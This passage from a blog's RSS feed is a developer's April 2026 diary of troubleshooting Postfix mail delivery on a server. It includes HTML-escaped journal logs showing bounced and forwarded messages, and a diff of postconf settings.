&lt;span class="n"&gt;apr&lt;/span&gt;   &lt;span class="mi"&gt;27&lt;/span&gt; &lt;span class="mi"&gt;02&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;11&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;37&lt;/span&gt; &lt;span class="n"&gt;lumi&lt;/span&gt; &lt;span class="n"&gt;postfix&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;qmgr&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;1926&lt;/span&gt;&lt;span class="p"&gt;]:&lt;/span&gt; &lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="n"&gt;BD7448423&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;from&lt;/span&gt;&lt;span class="o"&gt;=&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;luc&lt;/span&gt;&lt;span class="nd"&gt;@lumi&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="n"&gt;size&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;302&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;nrcpt&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;queue&lt;/span&gt; &lt;span class="n"&gt;active&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;apr&lt;/span&gt;   &lt;span class="mi"&gt;27&lt;/span&gt; &lt;span class="mi"&gt;02&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;11&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;38&lt;/span&gt; &lt;span class="n"&gt;lumi&lt;/span&gt; &lt;span class="n"&gt;postfix&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;smtp&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;1934&lt;/span&gt;&lt;span class="p"&gt;]:&lt;/span&gt; &lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="n"&gt;BD7448423&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;to&lt;/span&gt;&lt;span class="o"&gt;=&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;root&lt;/span&gt;&lt;span class="nd"&gt;@localhost&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="n"&gt;relay&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;smtp&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;zone&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;eu&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mf"&gt;85.234.244.110&lt;/span&gt;&lt;span class="p"&gt;]:&lt;/span&gt;&lt;span class="mi"&gt;587&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;delay&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mf"&gt;0.55&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="n"&gt;delays&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mf"&gt;0.02&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="mf"&gt;0.03&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="mf"&gt;0.35&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="mf"&gt;0.16&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;dsn&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mf"&gt;5.0.0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;status&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;bounced&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;host&lt;/span&gt;
        &lt;span class="n"&gt;smtp&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;zone&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;eu&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mf"&gt;85.234.244.110&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="n"&gt;said&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;550&lt;/span&gt; &lt;span class="n"&gt;This&lt;/span&gt; &lt;span class="n"&gt;message&lt;/span&gt; &lt;span class="n"&gt;was&lt;/span&gt; &lt;span class="n"&gt;classified&lt;/span&gt; &lt;span class="k"&gt;as&lt;/span&gt; &lt;span class="n"&gt;SPAM&lt;/span&gt; &lt;span class="ow"&gt;and&lt;/span&gt;
        &lt;span class="n"&gt;may&lt;/span&gt; &lt;span class="ow"&gt;not&lt;/span&gt; &lt;span class="n"&gt;be&lt;/span&gt; &lt;span class="n"&gt;delivered&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;reply&lt;/span&gt; &lt;span class="n"&gt;to&lt;/span&gt; &lt;span class="n"&gt;end&lt;/span&gt; &lt;span class="n"&gt;of&lt;/span&gt; &lt;span class="n"&gt;DATA&lt;/span&gt; &lt;span class="n"&gt;command&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;span class="n"&gt;apr&lt;/span&gt;   &lt;span class="mi"&gt;27&lt;/span&gt; &lt;span class="mi"&gt;02&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;11&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;38&lt;/span&gt; &lt;span class="n"&gt;lumi&lt;/span&gt; &lt;span class="n"&gt;postfix&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;cleanup&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;1932&lt;/span&gt;&lt;span class="p"&gt;]:&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="n"&gt;EECA48424&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="n"&gt;message&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="nb"&gt;id&lt;/span&gt;&lt;span class="o"&gt;=&amp;lt;&lt;/span&gt;&lt;span class="mf"&gt;20260427021138.1&lt;/span&gt;&lt;span class="n"&gt;EECA48424&lt;/span&gt;&lt;span class="nd"&gt;@lumi&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;
&lt;span class="n"&gt;apr&lt;/span&gt;   &lt;span class="mi"&gt;27&lt;/span&gt; &lt;span class="mi"&gt;02&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;11&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;38&lt;/span&gt; &lt;span class="n"&gt;lumi&lt;/span&gt; &lt;span class="n"&gt;postfix&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;bounce&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;1936&lt;/span&gt;&lt;span class="p"&gt;]:&lt;/span&gt; &lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="n"&gt;BD7448423&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;sender&lt;/span&gt; &lt;span class="n"&gt;non&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;delivery&lt;/span&gt;
        &lt;span class="n"&gt;notification&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="n"&gt;EECA48424&lt;/span&gt;
&lt;span class="n"&gt;apr&lt;/span&gt;   &lt;span class="mi"&gt;27&lt;/span&gt; &lt;span class="mi"&gt;02&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;11&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;38&lt;/span&gt; &lt;span class="n"&gt;lumi&lt;/span&gt; &lt;span class="n"&gt;postfix&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;qmgr&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;1926&lt;/span&gt;&lt;span class="p"&gt;]:&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="n"&gt;EECA48424&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;from&lt;/span&gt;&lt;span class="o"&gt;=&amp;lt;&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;size&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;2207&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="n"&gt;nrcpt&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;queue&lt;/span&gt; &lt;span class="n"&gt;active&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;apr&lt;/span&gt;   &lt;span class="mi"&gt;27&lt;/span&gt; &lt;span class="mi"&gt;02&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;11&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;38&lt;/span&gt; &lt;span class="n"&gt;lumi&lt;/span&gt; &lt;span class="n"&gt;postfix&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;qmgr&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;1926&lt;/span&gt;&lt;span class="p"&gt;]:&lt;/span&gt; &lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="n"&gt;BD7448423&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;removed&lt;/span&gt;
&lt;span class="n"&gt;apr&lt;/span&gt;   &lt;span class="mi"&gt;27&lt;/span&gt; &lt;span class="mi"&gt;02&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;11&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;38&lt;/span&gt; &lt;span class="n"&gt;lumi&lt;/span&gt; &lt;span class="n"&gt;postfix&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;smtp&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;1934&lt;/span&gt;&lt;span class="p"&gt;]:&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="n"&gt;EECA48424&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;to&lt;/span&gt;&lt;span class="o"&gt;=&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;luc&lt;/span&gt;&lt;span class="nd"&gt;@lumi&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="n"&gt;relay&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;smtp&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;zone&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;eu&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mf"&gt;85.234.244.79&lt;/span&gt;&lt;span class="p"&gt;]:&lt;/span&gt;&lt;span class="mi"&gt;587&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;delay&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mf"&gt;0.67&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;delays&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="mf"&gt;0.36&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="mf"&gt;0.31&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="n"&gt;dsn&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mf"&gt;2.0.0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;status&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;sent&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;250&lt;/span&gt; &lt;span class="n"&gt;Message&lt;/span&gt; &lt;span class="n"&gt;queued&lt;/span&gt; &lt;span class="k"&gt;as&lt;/span&gt; &lt;span class="mi"&gt;19&lt;/span&gt;&lt;span class="n"&gt;dccb4dd94000f038&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;apr&lt;/span&gt;   &lt;span class="mi"&gt;27&lt;/span&gt; &lt;span class="mi"&gt;02&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;11&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;38&lt;/span&gt; &lt;span class="n"&gt;lumi&lt;/span&gt; &lt;span class="n"&gt;postfix&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;qmgr&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;1926&lt;/span&gt;&lt;span class="p"&gt;]:&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="n"&gt;EECA48424&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;removed&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;I did some adjustments in the &lt;code class="file docutils literal notranslate"&gt;&lt;span class="pre"&gt;/etc/postfix/mailn.cf&lt;/span&gt;&lt;/code&gt;&lt;/p&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2026/0427.html</guid><pubDate>Mon, 27 Apr 2026 00:00:00 +0000</pubDate></item><item><title>Wednesday, April 22, 2026</title><link>https://luc.lino-framework.org/blog/2026/0422.html</link><description>&lt;section id="wednesday-april-22-2026"&gt;
&lt;h1&gt;Wednesday, April 22, 2026&lt;a class="headerlink" href="#wednesday-april-22-2026" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;Working for &lt;a class="extlink-ticket reference external" href="https://jane.mylino.net/#/api/tickets/AllTickets/6733"&gt;#6733&lt;/a&gt; (laudate server not responding and kswapd0 CPU usage
at 200%).&lt;/p&gt;
&lt;p&gt;I ran &lt;code class="xref std std-cmd docutils literal notranslate"&gt;&lt;span class="pre"&gt;diff&lt;/span&gt; &lt;span class="pre"&gt;-y&lt;/span&gt;&lt;/code&gt; over the output of &lt;code class="xref std std-cmd docutils literal notranslate"&gt;&lt;span class="pre"&gt;postconf&lt;/span&gt;&lt;/code&gt; on lumi (left) and lf
(right). Most differences seem irrelevant, but the following ones are
interesting:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;mail_name = Postfix                                           | mail_name = mail.lino-framework.org
mydestination = $myhostname, laudate.ee, lumi, localhost.loca | mydestination = $myhostname, localhost.org, localhost
mydomain = localdomain                                        | mydomain = org
myhostname = lumi                                             | myhostname = lino-framework.org
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;But even after setting these parameters on lumi, I get only 1 of the three
emails I should get.&lt;/p&gt;
&lt;p&gt;Here is the journal for postfix on lumi when I send an email to
&lt;a class="reference external" href="mailto:webmaster&amp;#37;&amp;#52;&amp;#48;laudate&amp;#46;ee"&gt;webmaster&lt;span&gt;&amp;#64;&lt;/span&gt;laudate&lt;span&gt;&amp;#46;&lt;/span&gt;ee&lt;/a&gt;:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="n"&gt;postfix&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;cleanup&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;93831&lt;/span&gt;&lt;span class="p"&gt;]:&lt;/span&gt; &lt;span class="n"&gt;AC41A2893A&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;message&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="nb"&gt;id&lt;/span&gt;&lt;span class="o"&gt;=&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;d0b751ab&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mf"&gt;280e-4&lt;/span&gt;&lt;span class="n"&gt;f86&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mf"&gt;9e97&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;c4cfb19d0a72&lt;/span&gt;&lt;span class="nd"&gt;@saffre&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;rumma&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;net&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;
&lt;span class="n"&gt;postfix&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;local&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;93832&lt;/span&gt;&lt;span class="p"&gt;]:&lt;/span&gt; &lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="n"&gt;A1F928936&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;to&lt;/span&gt;&lt;span class="o"&gt;=&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;webmaster&lt;/span&gt;&lt;span class="nd"&gt;@laudate&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;ee&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;relay&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;local&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;delay&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mf"&gt;0.18&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;delays&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mf"&gt;0.16&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="mf"&gt;0.01&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="mf"&gt;0.01&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;dsn&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mf"&gt;2.0.0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;status&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;sent&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;forwarded&lt;/span&gt; &lt;span class="k"&gt;as&lt;/span&gt; &lt;span class="n"&gt;AC41A2893A&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;postfix&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;qmgr&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;93816&lt;/span&gt;&lt;span class="p"&gt;]:&lt;/span&gt; &lt;span class="n"&gt;AC41A2893A&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;from&lt;/span&gt;&lt;span class="o"&gt;=&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;luc&lt;/span&gt;&lt;span class="nd"&gt;@saffre&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;rumma&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;net&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;size&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;2153&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;nrcpt&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;queue&lt;/span&gt; &lt;span class="n"&gt;active&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;postfix&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;qmgr&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;93816&lt;/span&gt;&lt;span class="p"&gt;]:&lt;/span&gt; &lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="n"&gt;A1F928936&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;removed&lt;/span&gt;
&lt;span class="n"&gt;postfix&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;smtp&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;93835&lt;/span&gt;&lt;span class="p"&gt;]:&lt;/span&gt; &lt;span class="n"&gt;AC41A2893A&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;to&lt;/span&gt;&lt;span class="o"&gt;=&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;luc&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;saffre&lt;/span&gt;&lt;span class="nd"&gt;@gmail&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;com&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;orig_to&lt;/span&gt;&lt;span class="o"&gt;=&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;webmaster&lt;/span&gt;&lt;span class="nd"&gt;@laudate&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;ee&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;relay&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;gmail&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;smtp&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="ow"&gt;in&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;l&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;google&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;com&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="n"&gt;a00&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;1450&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;4010&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="n"&gt;c07&lt;/span&gt;&lt;span class="p"&gt;::&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="n"&gt;b&lt;/span&gt;&lt;span class="p"&gt;]:&lt;/span&gt;&lt;span class="mi"&gt;25&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;delay&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mf"&gt;0.33&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;delays&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="mf"&gt;0.01&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="mf"&gt;0.05&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="mf"&gt;0.26&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;dsn&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mf"&gt;2.0.0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;status&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;sent&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;250&lt;/span&gt; &lt;span class="mf"&gt;2.0.0&lt;/span&gt; &lt;span class="n"&gt;OK&lt;/span&gt;  &lt;span class="mi"&gt;1776852133&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="n"&gt;adb3069b0e04&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;5&lt;/span&gt;&lt;span class="n"&gt;a4187f1ea2si5982943e87&lt;/span&gt;&lt;span class="mf"&gt;.187&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="n"&gt;gsmtp&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;postfix&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;smtp&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;93836&lt;/span&gt;&lt;span class="p"&gt;]:&lt;/span&gt; &lt;span class="n"&gt;AC41A2893A&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;to&lt;/span&gt;&lt;span class="o"&gt;=&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;luc&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;saffre&lt;/span&gt;&lt;span class="nd"&gt;@gmx&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;net&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;orig_to&lt;/span&gt;&lt;span class="o"&gt;=&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;webmaster&lt;/span&gt;&lt;span class="nd"&gt;@laudate&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;ee&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;relay&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;mx01&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;emig&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;gmx&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;net&lt;/span&gt;&lt;span 